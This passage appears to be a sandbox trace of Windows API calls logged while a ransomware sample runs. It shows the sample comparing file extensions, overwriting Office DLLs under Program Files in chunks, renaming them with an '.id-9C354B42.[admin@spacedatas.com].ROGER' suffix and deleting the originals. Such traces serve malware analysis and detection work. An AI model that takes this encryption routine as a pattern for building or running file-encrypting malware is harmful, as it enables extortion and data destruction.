dwMoveMethod=0x3d3fc6c | out: lpNewFilePointer=0x0) returned 1 [0061.345] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc2c | out: lpNewFilePointer=0x0) returned 1 [0061.345] ReadFile (in: hFile=0x3ec, lpBuffer=0x4850058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3d3fc38, lpOverlapped=0x0 | out: lpBuffer=0x4850058*, lpNumberOfBytesRead=0x3d3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0061.348] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x170dd2a, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc2c | out: lpNewFilePointer=0x0) returned 1 [0061.349] ReadFile (in: hFile=0x3ec, lpBuffer=0x4890058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3d3fc38, lpOverlapped=0x0 | out: lpBuffer=0x4890058*, lpNumberOfBytesRead=0x3d3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0061.353] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x3d3fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0061.353] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x44e9780, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc2c | out: lpNewFilePointer=0x0) returned 1 [0061.353] ReadFile (in: hFile=0x3ec, lpBuffer=0x48d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3d3fc38, lpOverlapped=0x0 | out: lpBuffer=0x48d0058*, lpNumberOfBytesRead=0x3d3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0061.368] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.368] WriteFile (in: hFile=0x3ec, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x3d3fcb0, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0061.384] SetEndOfFile (hFile=0x3ec) returned 1 [0061.384] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x4f38008 [0061.386] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc7c | out: lpNewFilePointer=0x0) returned 1 [0061.387] WriteFile (in: hFile=0x3ec, lpBuffer=0x4f38008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3d3fc88, lpOverlapped=0x0 | out: lpBuffer=0x4f38008*, lpNumberOfBytesWritten=0x3d3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0061.387] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x170dd2a, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc7c | out: lpNewFilePointer=0x0) returned 1 [0061.387] WriteFile (in: hFile=0x3ec, lpBuffer=0x4f38008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3d3fc88, lpOverlapped=0x0 | out: lpBuffer=0x4f38008*, lpNumberOfBytesWritten=0x3d3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0061.388] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x44e9780, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc7c | out: lpNewFilePointer=0x0) returned 1 [0061.388] WriteFile (in: hFile=0x3ec, lpBuffer=0x4f38008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3d3fc88, lpOverlapped=0x0 | out: lpBuffer=0x4f38008*, lpNumberOfBytesWritten=0x3d3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0061.592] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f38008 | out: hHeap=0x790000) returned 1 [0061.592] CloseHandle (hObject=0x3ec) returned 1 [0062.020] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0062.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL") returned 66 [0062.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL") returned 66 [0062.079] lstrlenW (lpString=".doc") returned 4 [0062.079] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0062.308] lstrlenW (lpString=".docx") returned 5 [0062.309] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0062.309] lstrlenW (lpString=".pdf") returned 4 [0062.310] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0062.311] lstrlenW (lpString=".xls") returned 4 [0062.311] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0062.312] lstrlenW (lpString=".xlsx") returned 5 [0062.312] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0062.312] lstrlenW (lpString=".ppt") returned 4 [0062.313] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0062.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL") returned 66 [0062.314] lstrlenW (lpString=".zip") returned 4 [0062.314] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0062.314] lstrlenW (lpString=".rar") returned 4 [0062.316] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0062.316] lstrlenW (lpString=".bz2") returned 4 [0062.316] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0062.317] lstrlenW (lpString=".7z") returned 3 [0062.318] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0062.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL") returned 66 [0062.319] lstrlenW (lpString=".dbf") returned 4 [0062.321] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0062.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL") returned 66 [0062.323] lstrlenW (lpString=".1cd") returned 4 [0062.323] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0062.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL") returned 66 [0062.324] lstrlenW (lpString=".jpg") returned 4 [0062.325] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0062.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL") returned 66 [0062.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL") returned 66 [0062.327] lstrlenW (lpString=".doc") returned 4 [0062.328] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0062.328] lstrlenW (lpString=".docx") returned 5 [0062.329] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0062.329] lstrlenW (lpString=".pdf") returned 4 [0062.330] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0062.331] lstrlenW (lpString=".xls") returned 4 [0062.332] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0062.332] lstrlenW (lpString=".xlsx") returned 5 [0062.333] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0062.334] lstrlenW (lpString=".ppt") returned 4 [0062.335] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0062.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL") returned 66 [0062.336] lstrlenW (lpString=".zip") returned 4 [0062.337] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0062.337] lstrlenW (lpString=".rar") returned 4 [0062.338] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0062.338] lstrlenW (lpString=".bz2") returned 4 [0062.338] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0062.339] lstrlenW (lpString=".7z") returned 3 [0062.340] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0062.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL") returned 66 [0062.341] lstrlenW (lpString=".dbf") returned 4 [0062.341] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0062.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL") returned 66 [0062.343] lstrlenW (lpString=".1cd") returned 4 [0062.343] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0062.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL") returned 66 [0062.345] lstrlenW (lpString=".jpg") returned 4 [0062.345] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0062.352] lstrcmpiW (lpString1=".DLL", lpString2=".ROGER") returned -1 [0062.353] lstrlenW (lpString="OSETUP.DLL") returned 10 [0062.354] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0062.381] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x3d3ff1c | out: lpFileSize=0x3d3ff1c*=7379816) returned 1 [0062.383] CloseHandle (hObject=0x344) returned 1 [0062.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll")) returned 0x20 [0062.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0062.389] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0062.405] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0062.409] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc6c | out: lpNewFilePointer=0x0) returned 1 [0062.413] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc2c | out: lpNewFilePointer=0x0) returned 1 [0062.414] ReadFile (in: hFile=0x344, lpBuffer=0x4850058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3d3fc38, lpOverlapped=0x0 | out: lpBuffer=0x4850058*, lpNumberOfBytesRead=0x3d3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0062.464] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x258922, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc2c | out: lpNewFilePointer=0x0) returned 1 [0062.465] ReadFile (in: hFile=0x344, lpBuffer=0x4890058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3d3fc38, lpOverlapped=0x0 | out: lpBuffer=0x4890058*, lpNumberOfBytesRead=0x3d3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0063.075] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x3d3fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0063.075] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x6c9b68, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc2c | out: lpNewFilePointer=0x0) returned 1 [0063.075] ReadFile (in: hFile=0x344, lpBuffer=0x48d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3d3fc38, lpOverlapped=0x0 | out: lpBuffer=0x48d0058*, lpNumberOfBytesRead=0x3d3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0063.099] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.099] WriteFile (in: hFile=0x344, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x3d3fcb0, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0063.115] SetEndOfFile (hFile=0x344) returned 1 [0063.115] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x5360048 [0063.118] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc7c | out: lpNewFilePointer=0x0) returned 1 [0063.118] WriteFile (in: hFile=0x344, lpBuffer=0x5360048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3d3fc88, lpOverlapped=0x0 | out: lpBuffer=0x5360048*, lpNumberOfBytesWritten=0x3d3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0063.119] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x258922, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc7c | out: lpNewFilePointer=0x0) returned 1 [0063.119] WriteFile (in: hFile=0x344, lpBuffer=0x5360048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3d3fc88, lpOverlapped=0x0 | out: lpBuffer=0x5360048*, lpNumberOfBytesWritten=0x3d3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0063.121] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x6c9b68, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc7c | out: lpNewFilePointer=0x0) returned 1 [0063.121] WriteFile (in: hFile=0x344, lpBuffer=0x5360048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3d3fc88, lpOverlapped=0x0 | out: lpBuffer=0x5360048*, lpNumberOfBytesWritten=0x3d3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0063.529] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x5360048 | out: hHeap=0x790000) returned 1 [0063.529] CloseHandle (hObject=0x344) returned 1 [0063.529] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0063.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL") returned 90 [0063.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL") returned 90 [0063.530] lstrlenW (lpString=".doc") returned 4 [0063.530] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0063.530] lstrlenW (lpString=".docx") returned 5 [0063.530] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0063.530] lstrlenW (lpString=".pdf") returned 4 [0063.530] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0063.530] lstrlenW (lpString=".xls") returned 4 [0063.530] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0063.530] lstrlenW (lpString=".xlsx") returned 5 [0063.530] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0063.530] lstrlenW (lpString=".ppt") returned 4 [0063.530] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0063.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL") returned 90 [0063.530] lstrlenW (lpString=".zip") returned 4 [0063.530] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0063.530] lstrlenW (lpString=".rar") returned 4 [0063.530] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0063.530] lstrlenW (lpString=".bz2") returned 4 [0063.530] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0063.530] lstrlenW (lpString=".7z") returned 3 [0063.530] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0063.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL") returned 90 [0063.530] lstrlenW (lpString=".dbf") returned 4 [0063.530] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0063.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL") returned 90 [0063.530] lstrlenW (lpString=".1cd") returned 4 [0063.530] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0063.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL") returned 90 [0063.530] lstrlenW (lpString=".jpg") returned 4 [0063.530] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0063.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL") returned 90 [0063.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL") returned 90 [0063.531] lstrlenW (lpString=".doc") returned 4 [0063.531] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0063.531] lstrlenW (lpString=".docx") returned 5 [0063.531] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0063.531] lstrlenW (lpString=".pdf") returned 4 [0063.531] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0063.531] lstrlenW (lpString=".xls") returned 4 [0063.531] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0063.531] lstrlenW (lpString=".xlsx") returned 5 [0063.531] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0063.531] lstrlenW (lpString=".ppt") returned 4 [0063.531] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0063.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL") returned 90 [0063.531] lstrlenW (lpString=".zip") returned 4 [0063.531] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0063.531] lstrlenW (lpString=".rar") returned 4 [0063.531] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0063.531] lstrlenW (lpString=".bz2") returned 4 [0063.531] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0063.531] lstrlenW (lpString=".7z") returned 3 [0063.531] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0063.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL") returned 90 [0063.531] lstrlenW (lpString=".dbf") returned 4 [0063.531] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0063.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL") returned 90 [0063.531] lstrlenW (lpString=".1cd") returned 4 [0063.531] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0063.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL") returned 90 [0063.531] lstrlenW (lpString=".jpg") returned 4 [0063.531] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0063.532] lstrcmpiW (lpString1=".DLL", lpString2=".ROGER") returned -1 [0063.532] lstrlenW (lpString="PJ11OD11.DLL") returned 12 [0063.532] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pj11od11.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0063.620] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3d3ff1c | out: lpFileSize=0x3d3ff1c*=752552) returned 1 [0063.620] CloseHandle (hObject=0x368) returned 1 [0063.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pj11od11.dll")) returned 0x20 [0063.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pj11od11.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0063.621] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pj11od11.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0063.621] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.621] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.621] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pj11od11.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0063.622] GetLastError () returned 0x0 [0063.622] ReadFile (in: hFile=0x368, lpBuffer=0x4850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesRead=0x3d3fed4*=0xb7ba8, lpOverlapped=0x0) returned 1 [0063.638] WriteFile (in: hFile=0x344, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0xb7bb0, lpNumberOfBytesWritten=0x3d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fc9c*=0xb7bb0, lpOverlapped=0x0) returned 1 [0063.649] ReadFile (in: hFile=0x368, lpBuffer=0x4850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesRead=0x3d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0063.649] WriteFile (in: hFile=0x344, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0063.649] SetEndOfFile (hFile=0x344) returned 1 [0063.649] CloseHandle (hObject=0x344) returned 1 [0063.650] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.650] SetEndOfFile (hFile=0x368) returned 1 [0063.656] CloseHandle (hObject=0x368) returned 1 [0063.656] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0063.656] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pj11od11.dll")) returned 1 [0063.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL") returned 68 [0063.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL") returned 68 [0063.657] lstrlenW (lpString=".doc") returned 4 [0063.657] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0063.657] lstrlenW (lpString=".docx") returned 5 [0063.657] lstrcmpiW (lpString1=".docx", lpString2="1.DLL") returned -1 [0063.657] lstrlenW (lpString=".pdf") returned 4 [0063.657] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0063.657] lstrlenW (lpString=".xls") returned 4 [0063.657] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0063.657] lstrlenW (lpString=".xlsx") returned 5 [0063.657] lstrcmpiW (lpString1=".xlsx", lpString2="1.DLL") returned -1 [0063.657] lstrlenW (lpString=".ppt") returned 4 [0063.657] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0063.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL") returned 68 [0063.657] lstrlenW (lpString=".zip") returned 4 [0063.657] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0063.657] lstrlenW (lpString=".rar") returned 4 [0063.657] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0063.657] lstrlenW (lpString=".bz2") returned 4 [0063.657] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0063.657] lstrlenW (lpString=".7z") returned 3 [0063.657] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0063.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL") returned 68 [0063.657] lstrlenW (lpString=".dbf") returned 4 [0063.657] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0063.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL") returned 68 [0063.657] lstrlenW (lpString=".1cd") returned 4 [0063.657] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0063.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL") returned 68 [0063.657] lstrlenW (lpString=".jpg") returned 4 [0063.658] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0063.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL") returned 68 [0063.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL") returned 68 [0063.658] lstrlenW (lpString=".doc") returned 4 [0063.658] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0063.658] lstrlenW (lpString=".docx") returned 5 [0063.658] lstrcmpiW (lpString1=".docx", lpString2="1.DLL") returned -1 [0063.658] lstrlenW (lpString=".pdf") returned 4 [0063.658] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0063.658] lstrlenW (lpString=".xls") returned 4 [0063.658] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0063.658] lstrlenW (lpString=".xlsx") returned 5 [0063.658] lstrcmpiW (lpString1=".xlsx", lpString2="1.DLL") returned -1 [0063.658] lstrlenW (lpString=".ppt") returned 4 [0063.658] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0063.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL") returned 68 [0063.658] lstrlenW 